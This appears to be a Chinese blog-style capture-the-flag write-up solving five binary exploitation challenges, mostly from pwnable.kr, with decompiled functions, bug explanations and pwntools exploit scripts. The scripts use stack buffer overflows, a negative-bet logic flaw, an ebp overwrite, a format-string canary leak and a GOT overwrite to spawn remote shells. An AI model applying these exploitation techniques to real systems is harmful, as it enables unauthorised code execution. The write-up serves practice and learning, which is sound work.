1 简单的溢出
题目来源:http://pwnable.kr 之 bof
直接放入IDA,发现func函数存在问题,利用gets函数的任意长度写入,我们可以覆盖掉v3的值
//func
int __cdecl func(int a1)
{
char s; // [sp+1Ch] [bp-2Ch]@1
int v3; // [sp+3Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
puts("overflow me : ");
gets(&s);//此处存在溢出
if ( a1 == 0xCAFEBABE )
system("/bin/sh");
else
puts("Nah..");
return *MK_FP(__GS__, 20) ^ v3;
}
poc:
from pwn import *
r=remote('143.248.249.64',9000)
r.sendline("A"*52+"\xbe\xba\xfe\xca")
r.interactive()
2 玩个游戏吧
题目来源:http://pwnable.kr 之 blackjack
仔细审查源码,发现betting函数存在问题
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
return bet;//只是进行了二次判断,并没有多次判断
}
else return bet;
} // End Function
第一次输入的bet超过cash(500),会再输入一次,输入负数的金额。只要我们输了,我们就会加钱。
poc:
#如果没有出现flag,说明你简直人品爆棚,居然能赢??恐怕是个欧皇
from pwn import *
r=remote('143.248.249.64',9009)
r.recvuntil('(Y/N)\n')
r.sendline('Y')
r.recvuntil('Choice: ')
r.sendline('1')
r.recvuntil('Enter Bet: $')
r.sendline('-1000000')
r.recvuntil('or S to Stay.\n')
r.sendline('S')
r.recvuntil('N for No\n')
r.sendline('Y')
print r.readline()
3 simple login
IDA观察到auth函数中v4距离栈底只有8,但是我们输入的经过base64解密的字符串最多12位,多出来4位可以覆盖ebp,进而控制eip,而刚好input是全局变量,保存在.bss段中,地址固定,我们控制前面8位的任意四位指向correct函数中的system函数即可
auth
poc:
#coding:utf-8
from pwn import *
context.log_level='debug'
p=remote('pwnable.kr',9003)
#指向correct函数中的system函数
f1=0x08049284
#随便输入
f2=0xb1b2b3b4
#跳转到input-4,使最后eip变成input内的值
f3=0x0811EB3C
payload=b64e(p32(f1)+p32(f2)+p32(f3))
p.sendline(payload)
p.interactive()
StackCanary
ida分析,能得到两个关键信息
1.main函数中代码存在格式化字符串漏洞、栈溢出漏洞
mian函数
2.canary_protect_me函数能提供getshell
canary_protect_me函数
检查一下文件,发现地址没有PIE保护,但是存在栈保护,但是我们可以用格式化字符串去泄露Canary的值,然后在覆盖的时候注意下这个值即可。
但是这题需要注意的是在main函数中有一条莫名其妙的汇编指令导致栈偏移8字节,有兴趣的可以去找找看。
POC:
from pwn import *
context.log_level='debug'
a=remote('172.104.78.53',22002)
a.sendline('%15$x')
can=int(a.read(),16)
sys=0x08048553
a.sendline('a'*40+p32(can)+'a'*8+p32(0)+p32(sys))
a.interactive()
easy_fmt
此题跟上题类似,但是这题是利用格式化字符串去覆盖printf的got地址为system地址
注意到最后两个框的地址只有最后2个字节不同,但是不要以为只改后两位就可以了,因为在printf函数被执行依次之后,0x804a00c处的地址变成真实地址,具体可百度plt表和got表知识。
执行一次之后got表地址变为真实地址
POC:
from pwn import *
context.log_level='debug'
printf_got = 0x804a00c
system_plt_0= 0x16
system_plt_1= 0x84
system_plt_2= 0x4
system_plt_3= 0x8
offset = 7
payload = p32(printf_got+2)
payload += p32(printf_got+3)
payload += p32(printf_got)
payload += p32(printf_got+1)
#0x4
payload += "%{}c%{}$hhn".format( 0x100-16+system_plt_2, offset)
#0x8
payload += "%{}c%{}$hhn".format( system_plt_3-system_plt_2, offset+1)
#0x16
payload += "%{}c%{}$hhn".format( system_plt_0-system_plt_3, offset+2)
#0x84
payload += "%{}c%{}$hhn".format( system_plt_1-system_plt_0, offset+3)
r = remote('172.104.78.53', 22003)
r.sendline(payload)
r.read()
r.sendline("/bin/sh")
r.interactive()
网友评论